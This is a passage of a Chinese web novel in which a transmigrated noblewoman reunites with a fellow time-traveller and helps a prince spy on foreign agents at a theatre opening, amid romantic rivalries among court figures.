喝完了茶,祝星序也开门见山。
“朱雀玉牌,不见了。”
裴榭听她提及这个,顿了顿。
那个男人被送进刑狱时,他亲自搜过,确实没有那道玉牌。
他以为,是祝星序拿走了。
虽然很担忧她的安全,但裴榭也只是默默加强了对她的关注,防止她遇上危险自己而不能赶到。
他并没有想让祝星序把玉牌交出来。
她想要,那便拿着。
既然玉牌也不在祝星序的手上,裴榭的脑子分析开来。
经查明,那刺客是前朝的,从一开始,他的目标便是那朱雀玉牌。
至于祝星序,只是刚好利用了一下她,希望能从镇国观里逃跑。
裴榭思索了片刻道:“那东西,应该在太子手中。”
他在太子府有暗线,虽然知道东西在太子手里,但太子不会有事没事拿出来欣赏。
所以,那人想拿也不知道在哪。
祝星序怔了怔。
若是落在太子手中……那她岂不是再也没机会了?
祝星序有些失落地低下头。
裴榭见她如此,一颗心也随之沉了下去。
“你当真想要?”
祝星序点点头,期盼地看着他。
裴榭被她注视着,心里有块地方软了下去。
“我知道了,我会想想办法。”似乎是怕她误会,裴榭加上一句:“只是,可能也需要你的帮忙。”
祝星序点头。
虽然这两次的经历让她又苦又累的,但是,起码看见了希望。
她并没有误会裴榭的意图。
那人是太子,也是裴榭和三皇子的敌人。
又坐了一会,祝星序起身,准备离开。
“谢谢,那我就先走了。”
裴榭的心生出不舍。
“吃了午膳再走吧。”
他波澜不惊,好似这只是很寻常的一次邀请。
祝星序下意识想拒绝,只是想到自己好像还没吃过皇子府上的饭,便答应了。
她一屁股坐回去:“好。”
裴榭的心愉悦起来。
他吩咐下人备好饭菜,又和祝星序闲聊了一会。
裴榭想到之前她说过的季迟影的事情。
“三哥,似乎真是对季二小姐有情。”
季迟影是季府的二小姐,季清清排第三。
祝星序叹了口气。
“我也发现了……”
男女主不是她这样的配角能左右的。
“希望季迟影能开开心心的。”
沉默了半天,祝星序只能这么说。
裴榭紧盯着她的表情,企图从中看出些什么。
可那张脸上,只有对季迟影的祝愿。
并没有什么遗憾和嫉妒。
下人过来告知,可以吃饭了。
裴榭便带着祝星序去饭厅。
二人进去之后,仆从们便自觉地在门外等。
祝星序吃饭时也不喜欢有人伺候,她更喜欢吃什么就夹什么。
她看了看仆从,对裴榭道:“我发现你府上好像没有婢女。”
裴榭夹起一道菜缓慢吃着。
“嗯,不习惯有女子在身边。”
祝星序有些好奇:“那皇上没有给你和你三哥婚配吗?”
裴榭动筷的手停了停。
“三哥有,但他说他有喜欢的女子,让父皇听他的。”
皇帝只会在意太子妃的人选,其他皇子的,皇帝并不怎么愿意管。
祝星序穷追不舍:“那你呢?你也是有喜欢的女子吗?”
听到这句话,裴榭不由得抬眼看她。
祝星序浅棕色的眼睛里尽是好奇。
刚刚在会客厅,前后通风,他和祝星序的距离有些远,没有闻到她身上的香味。
此刻在饭厅,两人坐得近了,她身上葡萄的甜香又开始肆意地入侵他的感官。
“没有。”
裴榭移开眼睛。
祝星序缩回去继续吃饭。
是意料之中的回答。
原著中就没有给他安排对象。
真是可惜了,她觉得裴榭其实人不错。
用完膳,祝星序又坐了一会。
“你府上的厨师做菜可真好吃。”
裴榭正喝着茶,借着茶杯掩盖了他嘴角的笑意。
“可以常来。”
祝星序点点头,并没有放心上。
她离开后,裴榭往屋里走,瞥见会客厅里祝星序用过的茶杯。
下人正在里面收拾。
裴榭快步走进去:“你先出去。”
下人行了礼便出去。
裴榭拿起茶杯,放至鼻下轻嗅。
祝星序已经从会客厅离开很久了,但他仿佛还能闻到上面她的香
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气。
这么一想,裴榭又贪婪地闻了许久。
最终,他收起茶杯,回了房间。
走进房里,他从床底下找到一个小盒子。
裴榭轻轻打开。
里面正躺着一只烟蓝色棠花耳环。
他将杯子放进去。
深吸了一口气,他将盒子盖上,重新放回床底。
*
五皇子府离得不远,祝星序一开始便没想着坐马车。
走在喧嚣的街头,她四处看着。
忽然,一道声音吸引了她的注意。
“女神,这就是我给你的专属称呼。”
祝星序朝那望去,是个小角落,一个身着华贵之衣的男子正对着一个极美丽的女子说话。
男子背对着她,祝星序看不见他的脸。
女子害羞了,推了推那个男子。
“你这嘴巴可真会说。”
男子顺势牵住她的手,放在唇边轻轻一吻。
“baby,你是最美的。”
听到这一句,祝星序的血液全部冲上头脑。
他说什么?
似乎是察觉到祝星序的视线,那女子有些尴尬,把男人推开,快步离开。
男子还没反应过来,看着女子离去的背影,摇了摇头。
“怎么又跑了?”
祝星序慢慢走过去,戳了戳他。
男子回头,奇怪地看着祝星序。
“怎么了宝贝?”
祝星序自动忽略那个称呼。
“你……不是这个时代的人吧?”
那男子微微皱眉,然后睁大了眼睛。
“难道你也……”
祝星序猛点头。
那男子忽然哭了,用力抱着她。
“我靠,这么久了!总算遇到老乡了!”
祝星序也十分激动。
天知道她多么想有一个人分享自己的艰辛。
两人找到一间酒楼坐下。
那男子名商文修,和祝星序一样是胎穿。
商文修指着仙来酒楼道:“我家的。”
祝星序震惊。
“我来的时候,爹妈都在做些走街串巷的小生意。因为我前世就是学商科的,利用一下,直接成首富。”
商文修也等这一天等了很久。
没有什么比在老乡面前装逼更爽的了。
祝星序也介绍自己:“户部尚书的嫡长女。”
商文修发出怪叫:“噢哟,嫡长女,好了不起。”
祝星序爆锤了一下他。
“你知道我们这是在一本小说里吗?”
商文修点头:“我知道,这还是我妹妹买的小说。但是我没看过,抓瞎。”
祝星序和他大致讲了这本书的故事。
商文修并不是很在意。
他没有遇到过书中任何角色,像是平行于书中剧情的单线程。
“千万不要让我碰上男女主,我还想在古代过安生生活呢。”
祝星序在找到那本书前,也在过着不属于任何剧情的生活。
和书中的男女主接触,她不知道这算好事还是坏事。
两人互相向对方大倒苦水。
都想把自己说得最惨。
商文修和她说着他创业的艰辛路。
“好多人都不知道我在说什么,还得一个个解释。”
祝星序则和他说着这封建礼教。
“别提了,穿到古代女身上,限制多多,嫁人之后还要不停地生孩子。”
讲了一个时辰,他们才堪堪止住话头。
祝星序倒了一杯水喝,润润嗓子。
商文修也喝了一口水,感叹道:“好想回去……古代真是太不方便了,生个小病也有死亡的风险。”
祝星序将水杯放下,盯着他。
商文修看她一眼:“怎么,被我迷倒了?”
祝星序摇摇头:“我知道怎么回去。”
23. 第 23 章
商文修的呼吸肉眼可见地急促起来。
“真的?”
祝星序点头。
“原著中的男女主,最后就去了现代。”
商文修唰地一声站起,在房内来回踱步,还喃喃道:“竟然是这样……”
祝星序垂下眼眸:“只是,我们不是当权者,很多东西不能直接取得。”
她告诉商文修所需的东西。
他的脸紧紧地皱在一起。
“除了皇宫人的腰牌,其他的我闻所未闻。”
“不过,我会派人去打听的。”
祝星序点点头。
有他的加入,想必找东西会快一些。
眼看日落了,祝星序该回去了。
“那我先走了,有事去祝府找我。”
商文修摆摆手:“知道了。”
两人走出仙来酒楼。
迎面而来的竟然是季迟影和三皇子!
虽然他们二人保持着相对较远的距离,但季迟影脸上的红晕和三皇子眼里的笑意已经将两人的心意暴露无遗。
季迟影也看见正站在门口的祝星序。
“星序,你也在这里。”
她上前来,拉着祝星序的手。
三皇子看了看祝星序,又看了一眼站在她旁边的商文修,表情不定。
季迟影也看到了商文修。
“这位是?”
祝星序转头,却见他正痴痴地看着季迟影。
她拍了拍他:“喂。”
商文修这才回过神来。
他轻咳一声,伸出手。
“你好,美丽的姑娘。”
季迟影歪着头看他,不明白他这是什么意思。
祝星序赶紧打掉他的手。
“这位是季家二小姐。”
她介绍着。
季迟影礼貌地笑。
商文修又整理了一下衣服,露出自己最自信的表情。
“我是商文修,商家的独子,现在是睿朝首富。噢对,商家刚刚做了皇商。”
季迟影目露惊讶。
“商家?真是久仰大名。”
她在闺阁学习时,也曾听闻商家的事迹。
季迟影是由衷地钦佩。
商文修也笑着:“哪里,还有进步的空间。”
其实,商文修的皮囊也是极好的。
剑眉星目,眼神中偶尔还透露出一丝玩味,但却让人并不反感。
和三皇子是两类人。
季迟影回:“您太谦虚了。”
三皇子见不得商文修对着季迟影开屏的样子,上前一步,挡在季迟影和商文修的中间。
“季二小姐,走吧。”
季迟影也和他们两个告别。
“星序,我们下次再约。”
他们进去后,商文修急着问:“她是谁啊!”
祝星序奇怪地看着他:“她就是女主啊,季迟影。”
商文修怎么反应那么大?
爱上季迟影了?
听完祝星序说的话,商文修眼睛都有些微红。
“那她身边那个……是男主?”
祝星序点头。
商文修冷哼一声:“穿得倒是人模人样的,有我有钱?”
祝星序沉默了一会道:“他是三皇子。”
商文修愣住了。
祝星序又点点头。
在古代,皇权便是最高等的。
他挠了挠头。
“是有点麻烦。”
看来是真爱上了。
祝星序劝他:“所以你别想了,好好找回去的东西。咱们到时候回现代再谈恋爱啊。”
商文修低头,脑子里却一直想着季迟影。
他从未有过这种感觉。
魂牵梦萦。
好半晌,商文修下定了决心。
“我不回去了,我要追她。”
祝星序立刻道:“这怎么行!”
少了同盟,她还怎么更快地回家!
商文修的眼中闪烁着坚定的光。
“东西我会帮你继续找,但是我要追季迟影。”
祝星序不说话了。
能帮她找就行。
他爱留这留这。
鉴于二人是老乡,祝星序还是多说了一嘴。
“人家是天造地设般的一对,你估计难了。”
商文修撇嘴。
“这怎么了?这三皇子还不一定是皇帝呢。”
祝星序沉默了。
他是真没看过啊。
“他是皇帝。”
祝星序决定还是告诉他这个残酷的事实。
商文修也沉默了。
“他的敌人是谁?我要去加入他。”
祝星序瞪他一眼。
若是太子有这么个助力,三皇子和裴榭岂不是直接没了?
祝星序想了想原著的剧情。
并没有提及什么皇商呢。
难道也是因为商文修穿过来了,所以改变了许多事情吗?
话又说回来。
如果帮助太子,跟他说想要他的腰牌,他会不会给?
如果是普通人说,他肯定不给。
若是让商文修出面呢?
不好说……
而且,现在朱雀玉牌也在他的手上。
嗯……
有点心动。
祝星序晃晃脑袋,赶紧把这个想法给抛出脑外。
疯了吧,就凭太子那性格,肯定不愿意相信先前还是三皇子那边的人,现在转而要投奔他
若是太子不理还好,真放在心上,继位的第一件事就是把他们杀了。
最主要还是因为之前李栋的事情……
太子党就是狼狈为奸。
商文修央求祝星序:“你帮我约她吧,求你了。”
祝星序摇头:“不行。”
光靠三皇子一人,便能压得她起不来。
她只想平平安安地找到东西,然后回家。
商文修从口袋中掏出一叠银票。
“求你了。”
祝星序仔细看了一眼上面的金额。
默默收了下来。
不要白不要……
“你要约她去哪?”
商文修想了想。
“我最近有个新的戏院准备开门,就去那吧。”
祝星序苦脸:“听戏的?”
她不爱听,每次听都会睡着。
商文修又给了两张银票。
祝星序:“好的,什么时候呢?”
商文修:“开业时间定在后天。”
祝星序忽然想到下午看见的情形。
“对了……下午那名女子是什么情况?你该不会是什么花花公子吧?”
她狐疑地盯着商文修。
虽然她不太想让季迟影和三皇子在一起,但也没必要把她推去另一个火坑吧。
商文修连忙摆手。
“你误会了!那女子是我旗下一家酒楼的厨娘,最近她被她前夫缠上了,让我帮帮忙,死了她前夫的心。”
祝星序皱眉看他。
“真的?”
商文修三指朝天。
“真的,我发誓!我若说假话,一辈子追不到季迟影!”
看在银票的份上,祝星序勉强相信一下。
她也并不认为,约季迟影去一次,她的想法就会立刻改变。
*
和季迟影定好时间,那一天,祝星序早早地便来季府门口等候。
因着季迟影已经和家丁说好了,下人直接邀请祝星序来到会客厅。
等候时,她见到了季清清。
季清清穿着一身翠绿衣衫,显得娇俏可人。
她也看到了祝星序,冷哼一声,往门口走去。
只是祝星序没想到,裴檐也来了。
家丁正恭敬地把他往里面请。
季清清眼睛一亮,凑了上去。
“殿下,您是来找我的吗?”
裴檐看了她一眼。
“我是来找季二小姐的。”
季清清眼中流露出一丝嫉妒,但很快掩埋过去。
“二姐姐今日不出来啦,就让清清陪您,好吗?”
裴檐皱眉:“不出来了?为何?”
季清清开始瞎编:“二姐姐染了风寒,今日不宜出门呢。”
裴檐担忧道:“那我更得去看看她了。”说罢,
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就要往府里走。
季清清赶紧拉住他。
“殿下,二姐姐已染了病,您若贸然前往,肯定也会被染上的。届时,您可怎么向陛下问安呢?”
裴檐停下了脚步。
“这……说的也是。”
季清清满意地笑笑。
“所以走吧,让清清陪您。”
裴檐就这样半推半就地跟着她一起出门了。
把在一旁坐着的祝星序气得不清。
真是渣男!被绿茶三言两语勾得都找不着北了。
她决定支持他的老乡商文修。
过了一刻钟,季迟影从屋内走出来。
“走吧,星序。”
祝星序和她挽着手出门,想了想,还是不要告诉她刚刚的事情比较好。
商文修的文新戏院开张,引来了不少民众的围观。
商家有钱,将文新戏院布置得金碧辉煌。
祝星序总觉得好像在哪见过这样的风格,但想了半天也没想起来。
原本老百姓是不敢进去的。
但戏院门口,被商文修摆了个木板,上面写着价格。
大厅的价格十分优惠。
只有达官显贵要的包间才有低消。
所以,百姓们也纷纷进去捧场。
祝星序和季迟影到的时候,也被这人山人海的盛况惊到了。
“这么多人……”
祝星序也很震惊:“新开的嘛……”
商文修早就在门口等着她们了。
他快步走来她们面前,眼神直勾勾盯着季迟影。
季迟影感受到了他灼热的视线,往祝星序身后躲了躲。
祝星序察觉,瞪了商文修一眼。
商文修也意识到自己的行为不妥,连忙收起视线。
“走吧,位置都给你们留好了。”
进了戏院,大厅里坐着的百姓更是讨论个没停。
他们也没想到,这么豪华的戏院,他们居然也能进来消费。
这其中,祝星序还见到了几张五官深邃的脸庞。
似乎是异域人。
商文修带着她们往二楼走。
二楼的包间装修不一,有雅致的,有豪华的,也有普通的。
全看客人的喜好。
商文修将她们带到其中一间雅间。
“你们看看,喜不喜欢这里?不喜欢再换。”
虽是问的“你们”,但他的心思全在季迟影身上。
祝星序看向季迟影。
季迟影很满意,点点头。
商文修又将节目单拿给季迟影。
“若有喜欢的,喊人来加上就行。”
季迟影接过,和祝星序靠在一起看。
上面除了一些常规的戏曲,居然还有一些杂技和现代的节目名称。
祝星序想了想,好像是她那会很出名的狗血电视剧。
至于杂技,可能这就是为什么会吸引那些番邦人吧。
“这个吧。”
她点了一个现代的。
季迟影也点了自己爱看的。
商文修亲自来记录。
“好,等会我派人将吃食拿上来。”
季迟影皱眉,有些犹豫道:“吃食要钱吗?”
她在府里的份例并不多。
商文修笑容不减:“你是祝星序的朋友,也是我的朋友。”
言下之意便是不需要钱。
季迟影本想拒绝,但她转头看到祝星序悠然自得接受的模样,也只得轻轻点头:“谢谢。”
祝星序在一旁默默看着,不说话,尽量将自己的存在感降到最低。
渐渐地,人多了起来。
她们左右两边的包间都被人坐满了。
幸好她们来得早。
每个包间都有帘子,保障隐私性。
窗台下面便是百姓们坐的大厅。
也可以看到都有谁进来了。
商文修又亲自把茶和糕点拿了上来。
只是这次他没有久留,很快便下去了。
新戏院开业,他是最忙的。
坐了一会,祝星序看到三皇子和季清清走了进来。
身后跟着裴榭。
24. 第 24 章
裴榭虽然没有什么表情,但祝星序的第六感告诉她,裴榭此时的心情很差。
他的唇紧紧抿着,眼神中透露出一丝不耐。
且他和前面两人的距离相隔甚远,好像不是一起的。
裴榭似乎察觉到有人看他,抬头。
祝星礼立刻往后坐了坐,将视线收回。
差点被他看到了。
祝星序转头打算和季迟影聊聊天。
扭过头却看见季迟影正死死地盯着窗台下。
视线的方向正是三皇子和季清清。
祝星序想安慰她,却不知道说什么。
说他本来就是这样的人?
说他不是故意的?
底下的三皇子找来小二说了些什么,小二摇了摇头。
估计是想找包间,但是没了。
三皇子眉头紧锁,又和小二说了句话。
小二点点头,往楼上走。
过了一会,小二走到她们所在的包间询问。
“两位,三皇子想加钱换这间房。”
祝星序还没开口,季迟影便立刻道:“不换。”
她面带愠色。
小二离开了,又走到旁边的包间问。
季迟影的头低得很下,祝星序有些看不到她的表情。
祝星序犹豫着问:“你还好吗?”
季迟影紧紧咬着下唇。
“他为什么要这样?他不是说……”
她没说完,但祝星序猜测,估计三皇子已经和她表明了心意。
“我早上在你家等的时候,三皇子也来了……季清清先出来,把他带走了。”
季处影愣住了。
祝星序垂下头:“对不起,我没有把这件事告诉你……”
季迟影摇摇头。
“能被清清三言两句都带走,说明在他心里,我还不够重要。”
说完,她便愣愣地看着高耸的戏台发呆。
身后传来一阵脚步声。
“还是殿下厉害,这么快就找到房间了。”
是季清清的声音。
紧接着便是裴檐说话:“难得出来看戏,要尽兴。”
随后就是季清清娇笑的声音。
看来有人愿意和他们换。
祝星序担忧地望向季迟影。
她像是没听到似的,一直看着戏台。
戏台忽然亮起。
开唱了。
隔壁的房间估计不合季清清的意,一进门,她便抱怨上了。
“殿下,这间房也太普通了吧?我想换一间。”
两人站在门口,说话的声音并不小。
所以祝星序能完整地听到。
三皇子似乎也知道旁边的人能听到,压低了声音。
“别闹了,其他房间都坐满了。”
过了一会,季清清才道:“好吧……”
阖上门之后,祝星序便再也听不到了。
季迟影专注地看着戏,时不时笑一下,仿佛刚刚的一切都不关她的事。
商文修忙完了,快步走进来关上门。
他看了看位置,选择坐在祝星序的旁边。
商文修看着季迟影问:“这戏如何?”
季迟影轻轻点头:“挺好的。”
他看出来季迟影兴致不高,忙用眼神询问祝星序。
祝星序又朝他挤眉弄眼一番,示意他出去说。
商文修了然:“那我继续去忙了。”
季迟影保持着礼貌的微笑:“好的。”
过了一会,祝星序对她道:“我去更衣,你去吗?”
季迟影摇摇头:“你去吧。”
一副兴致缺缺的样子。
祝星序走出房间,贴心地给她关上门。
不然隔壁的季清清出来看见她,肯定又要找她麻烦。
祝星序沿着楼梯下去,远远地便看见商文修走到了大厅另一侧。
她便也猫着腰过去,尽量使自己的存在感达到最低。
殊不知,她的背影,早已被人看在眼里。
祝星序和商文修走到偏僻的一侧。
“季迟影她怎么了?”
看见她一来,商文修便忙不迭地询问。
祝星序将早上和刚刚的事跟他说了。
商文修露出志在必得的笑容。
“他不珍惜,便要被我趁虚而入了。”
祝星序锤了他一下:“你可别乱来,人家可是正经姑娘。”
商文修听完,委屈道:“难道我不是正经公子吗?”
祝星序斜睨他一眼:“看不出来。”
商文修也气得打了她一下。
两人打打闹闹的,并没有察觉有人靠近。
还是商文修率先发现。
他收回和祝星序打闹的手,站定在原处。
祝星序奇怪道:“怎么了?”
商文修看着来人。
祝星序转身。
是裴榭。
她的心里咯噔了一下。
有一种被人抓包的感觉。
裴榭一直盯着祝星序。
商文修感觉气氛有点不对劲,找了个借口跑了。
祝星序暗骂他。
她也想溜,但裴榭的眼神深邃,祝星序的腿像被钉在了地上一样,走不动路。
“裴榭,好巧啊,你也来这里?”
祝星序决定装傻。
她也没做什么吧,怕他干嘛。
裴榭缓缓点头。
“我和三哥一起来看戏。”
祝星序:“好巧,我也是哎。”
末了,她加上一句:“和朋友。”
因着要谋划,朝廷内外的势力他都查过一遍。
第一眼,他便认出,刚刚那名男子是商文修。
裴榭很想知道商文修和她的关系。
但他知道,他并没有那个身份去问她。
裴榭只能强迫自己忘掉刚刚看见他们在打闹的场景。
他想到自己来找她的目的:“有件事需要你帮忙。”
祝星序问:“什么?”
帮助裴榭可是有很多好处的。
最大的好处便是可以让他欠自己人情。
裴榭又带着她往更偏僻的地方走去。
两人靠得极近,他又闻到了那股暗香。
他竭力压下内心的悸动,致力于他的计划。
“你有没有看到大厅里的那些异域人?”
祝星序点头。
一进来就看到了。
“他们是太子的手下,今日来京,是为了给太子传递消息。”
祝星序有些惊讶:“这你都知道?”
裴榭点头:“太子的母亲便是前朝之人,而前朝,和异域最为交好。”
他顿了顿,又道:“异域一直想复兴前朝。”
祝星序皱眉:“可是……前朝的覆灭已经很久了,难道朝廷没有给异域相应的优惠政策?”
裴榭的唇角勾了勾:“异域人重情义,饶是睿朝给予再多的恩惠,也不及他们心中和前朝的感情。”
祝星序摇摇头。
真是乱来……
感情哪有利益重要呢?
裴榭见她摇头,问:“怎么?你不同意异域人的理念?”
祝星序笑笑:“没有永恒的朋友,只有永恒的利益。”
或许是这句话太过于尖锐,裴榭不由得多看了她两眼。
裴榭又问:“那你呢,对于你自己,也是这么想的?”
祝星序不知道话题为什么转到她身上了。
不过既然他问了,她也没什么好隐瞒的。
“与人相处肯定是看感情嘛,若只看利益,未免有些太伤人了。”
裴榭听完,不知怎的,心情愉悦了许多。
“一会,我会换好小厮的衣服跟在你后面,指引你怎么去拿那卷写着消息的纸筒。”
祝星序点点头:“行……”
他怎么那么喜欢玩角色扮演?
不过,裴榭的容貌确实是太出众了,走到哪里都会被人注视。
那几个异域人定然也是。
裴榭还没靠近,就被发现了。
只是,他也可以装扮成普通人的样子呀,为什么
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要找自己呢?
祝星序想了想,没想出原因。
不管了,肯定是有他自己的理由。
像她这样的普通人,不理解聪明人也很正常。
祝星序回到戏院大厅,看见商文修还在等她。
他调侃道:“那是你情夫啊?”
祝星序又打了他一下。
“别乱说,人家是五皇子殿下!”
商文修惊讶了:“怎么不是三皇子就是五皇子?”
祝星序:“你以为呢……这是京城,而且,你也已经进入主线了。”
她幸灾乐祸地看着他。
商文修反应过来,苦恼极了,但是很快恢复,一脸坚定。
“我会给季迟影一个美好的未来的!”
祝星序听了他的话,没什么反应。
一切都要按照季迟影的意愿来。
两人上楼,还没到雅间门口,便看到门是虚掩着的。
祝星序赶紧进去。
最里面站着季迟影,靠近门口的地方则站着季清清和裴檐。
祝星序和商文修刚一进来,季清清便一脸愤怒地走到季迟影的面前。
“凭什么你可以在这间房?”
季迟影冷冷地看着她:“关你什么事?”
季清清气急了,走到季迟影的面前。
“那你现在给我出去,我要这间房!”
季迟影自然不让她:“我先来的。”
季清清见她不识相,眼中闪过一丝寒芒,然后往后直直倒下。
裴檐吓了一跳,慌忙上前,揽住了季清清。
季清清奸计得逞,迅速笑了一下,转换成楚楚可怜的表情。
“呜呜……二姐姐,你不愿意就不愿意嘛,为什么要推我?”
听了这话,裴檐看季迟影的目光中也带了一丝责备。
“阿影,你怎么能推清清呢?”
季迟影满脸的不可置信。
“我根本就没动。是她自己倒的。”
裴檐皱着眉:“阿影,不要再狡辩了,她怎么会自己倒呢?这可是会受伤的。”
听到裴檐如此不分青红皂白,商文修忍不住了,冲上前挡在季迟影的面前。
“够了吧你三皇子殿下,我亲眼看见,是这女子自己倒下的,根本不关季迟影的事。”
有人护着季迟影,裴檐的眼里显出敌视。
“又是你。”
商文修挑眉:“怎么?不可以是我?”
裴檐扶着季清清起身:“我希望你可以离阿影远点。”
商文修气笑了。
“你说这话之前能不能把你怀里的佳人先放开呢?”
裴檐不满:“她摔倒了,我扶一下而已。”
商文修冷哼一声:“季迟影被冤枉了,我要站在她这边。”
裴檐瞪着他,似乎是想把他看出个洞。
商文修也不甘示弱地回瞪。
季迟影在商文修的身后瑟瑟发抖。
“够了……三皇子殿下,你若不信我,我离开就是了。”
说罢,她跑了出去。
转过身时,祝星序还能看见她眼角的泪花。
商文修没有半刻犹豫,紧跟着她就出了门。
祝星序也死瞪着裴檐。
“三皇子殿下,你为什么不愿意相信她呢?难道在你眼里,她是会伤害别人的人吗?”
裴檐僵住了,却还是狠心撇开视线。
季清清怕他心软,赶紧假装头晕。
“殿下……我有点不舒服。”
听到她的声音,裴檐低头道:“我送你回去。”
祝星序本来还想挽回一下。
但看他这个样子……
算了,没救了。
祝星序也走出门,想追上季迟影。
刚走到戏院门口,便见不远处,商文修在安慰着季迟影,眼里尽是心疼。
而季迟影抽抽噎噎的
祝星序顿时感到进退两难。
过去还是不过去呢……
换好装的裴榭悄无声息地出现在她的身边:“看什么呢?。”
25. 第 25 章
祝星序吓了一跳,看见他,像是看到救星一样,抓着他的胳膊。
“你终于来了……”
裴榭的胳膊乍一下被祝星序抓着,那温热的触感透过衣袖,密密地传了进来。
没来由的,他感到安心。
祝星序意识到抓了他的手臂,有些不好意思,收回了手。
温热感瞬间消失,裴榭垂下眼眸,看不清眼底情绪。
“三皇子……哎,真是……”
祝星序感叹着,想说些什么,又怕裴榭不高兴。
毕竟那是他三哥。
裴榭也知道三皇子的性格。
容易心软。
他看着祝星序:“我不会像他那样。”
祝星序认同地点头:“我知道。”
裴榭在原著中没和任何一位女子有关系,他当然不会这样啦。
他微微有些吃惊,但很快恢复表情,只眼睛里带了些笑意。
两人走进戏院,上了搂。
祝星序还是往那间雅间走。
反正商文修已经把房间给她们了,坐着还舒服。
裴榭也一道跟了进来。
他往窗台底下望了一眼,心中了然。
红木桌上的糕点还没人动过,祝星序坐下,随手抓起一块来吃。
糕点为了契合大家闺秀的规矩,都做得极小一块,一口便可完全吃掉。
裴榭为了维持自己的身份,只在祝星序的边上看着她吃。
吃着吃着,祝星序就觉得有些不对劲了。
她看向裴榭,一眼撞入一双幽潭。
祝星序心微动了一下,连口中的糕点都忘了嚼。
裴榭还以为她是噎着了,拿起茶壶。
触手有些冰凉,想来很久没人换了。
他打开门,唤小二换壶茶,小二立刻拿着热水进来,往茶壶里续上。
续好后,小二离开,裴榭倒了杯茶给祝星序。
“喝点吧。”
祝星序咽下口中的糕点,讷讷地接过来,喝了一口。
“谢谢。”
喝了几口茶,可心中的涟漪始终未曾消下去。
戏台上已换了一出戏。
咿咿呀呀倾诉相思和情意的戏子下去,换了长髯威严的生角上台。
祝星序不爱看这个,只专注着盯着楼下那几个异域之人。
他们似乎也不爱看这出戏,坐在座位上呵欠连天,时不时和同伴聊一会。
祝星序猜测,他们应该是想看那些杂技表演。
没想到,古代也有喜欢摸鱼的人。
他们明明有公务在身,却还是坐在这里听戏。
就算戏不喜欢,也要坐在这里。
祝星序问旁边的裴榭。
“他们那卷纸,很重要吗?”
裴榭点头:“还能拿那卷纸来威胁威胁太子,让他把朱雀玉牌交出来。”
话是这么说,但具体实施下去,不会这么明显。
若给太子知道他们的目标是朱雀玉牌,那他便更不可能交出来了。
看了一会,异域人似乎要去如厕。
祝星序赶紧起身下去,不远不近地跟着。
裴榭也在她身后,紧盯着那些人。
他们果然是去如厕的,几人聊天打闹走到了恭房。
祝星序不适合再过去。
裴榭低着头,臊眉耷眼地朝着恭房走。
祝星序在不远处假装等人,时不时看向裴榭。
裴榭走得很快,看上去就像是个要干活的小厮,走得快些显利落。
异域人在里面如厕,一边上着一边聊天。
裴榭走了进去,找准一个角落的坑位。
路过他们时,不小心撞了一下。
异域人顿时怒发冲冠。
他们见只是穿一布衣的小厮,更加嚣张了,将裴榭的衣领揪起来。
“你这奴才,怎么走路的?胆敢撞你爷爷我?”
裴榭的脸上露出害怕的神情。
“对不住对不住……我不是故意的。”
见他认错,异域人冷哼一声,将他甩到地上。
“下次若再让我看见你,打得你满地找牙。”
裴榭不住地道着歉,走到角落,佯装如厕。
异域人出来之后,祝星序立刻背对着他们。
他们走得并不快,直到裴榭出来,站回祝星序的身边,异域人还没走远。
他们看见裴榭是祝星序的小厮,冲她道:“姑娘,你家这小厮,可要好好教训啊,刚刚在恭房都撞到我了。”
祝星序没想到他们会找自己说话,暗暗吃了一惊,表情依旧。
“啊?那实在不好意思了,他在府里还是很老实的,可能世面见得少,在外面容易慌慌张张的,对不住各位。”
她也没扭捏,要拿出睿朝大女子的气质来。
异域人见她如此爽快,也哈哈大笑。
“你这姑娘够劲。”
祝星序笑了笑,带着裴榭又走回戏院。
那几人也跟在他们身后,见祝星序进去,也有些兴奋。
“哟,姑娘也来这看戏啊。”
祝星序不想再和他们说话,想无视。
裴榭轻轻扯了扯她的手臂。
她内心叹了一口气,转身继续笑道:“是啊,这戏院今日开张,多热闹。”
此时,戏台上的戏已经演完,换成了杂技。
几个小男孩和小女孩穿着统一的服装,带着道具上台演出。
那几个异域人本来还想和祝星序说话,看见这节目,注意力顿时被吸引过去了。
当他们想坐回原位时,发现位置被几个百姓坐着了。
“起开起开,这是爷爷我坐的!”
大厅的位置多而杂,只要有空位,是谁都能往上坐。不像包间,结了账才能换给下一个人。
异域人只知道他们坐了这位置,就是他们的了。
那几个百姓看见这几个高大威猛的异域人,不敢与之起冲突,一脸屈辱地离开了。
异域人并没觉得他们这样不合规矩,相反,还觉得自己特别威风。
祝星序站在旁边冷哼一声,带着裴榭上了楼。
一进门,她就赶紧问:“怎么样?”
裴榭缓缓摇头。
“我撞他们那一下,并没有摸到什么。”
他想了想,又道:“许是他们将东西藏得更深了。”
祝星序托腮:“那会是哪呢……”
裴榭站在靠近窗台的阴暗处,继续监视那些异域人。
他们坐在位置上,对杂技的表演叫好。
异域人通常着兽皮和布缝制而成的衣服,看起来彪悍又野性。
既如此……
他对于卷筒的藏身地有了猜测。
只是,需要外力。
他想起这戏院的主人,似乎和祝星序关系很好。
尽管有些不情愿,他还是问道:“你可知商公子在哪?”
祝星序这才想起来他。
“不知道啊……”
眼神躲闪。
她要和裴榭说吗?
说商文修陪季迟影去了……
不管怎么看,他都是和三皇子关系更好吧。
商文修的行为,简直就是在挖三皇子的墙角。
裴榭敏锐地捕捉到她的犹豫,眉头蹙紧了些。
“有事需要找他。”
祝星序并没有发现他的异样,只道:“我也不知道,他刚刚出门去了。”
裴榭只能点点头,倚靠在窗台边上,继续想着其他办法。
他的容貌也稍稍修整过,没有原来那样触人心魄的容貌。
就算如此,他的脸在戏台五光十色的照耀下,也显出了一分落寞。
不知为何,祝星序有点见不得他这副样子。
就好像……她欺负了他似的。
祝星序转过头去,起身开门,决定去找找商文修。
再怎么样,他总不能在季家过夜吧
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!她就不信这人不回来。
裴榭也注意到她起身去开门的动作,只抿唇看着。
祝星序在走廊上东张西望,时不时望向远处。
也许商文修已经回来了,正在忙也说不定。
她探头探脑的动作被戏院的小二看到了。
他知道这姑娘是少东家的朋友,商文修让他尽全力帮助祝星序。
将手上的活派给其他人,小二走了过来,低声问:“祝小姐有什么需要帮忙的吗?”
祝星序吓了一跳:“你是?”
小二笑了笑,又用更低的声音道:“少东家说了,若祝小姐有什么需要我们的,尽可放心说。”
祝星序懂了,将他带到雅间。
裴榭的目光一直落在门上,只耳朵听着底下那些人的动静。
见她回来,他不经意地收起了视线。
祝星序将门合上,把小二带到裴榭的面前。
“商文修不在,把他留下来听候了。”
裴榭眉头舒展了些许。
他盯着小二良久。
小二知道这是他在试探他,微微一笑,毫不示弱地看了回去。
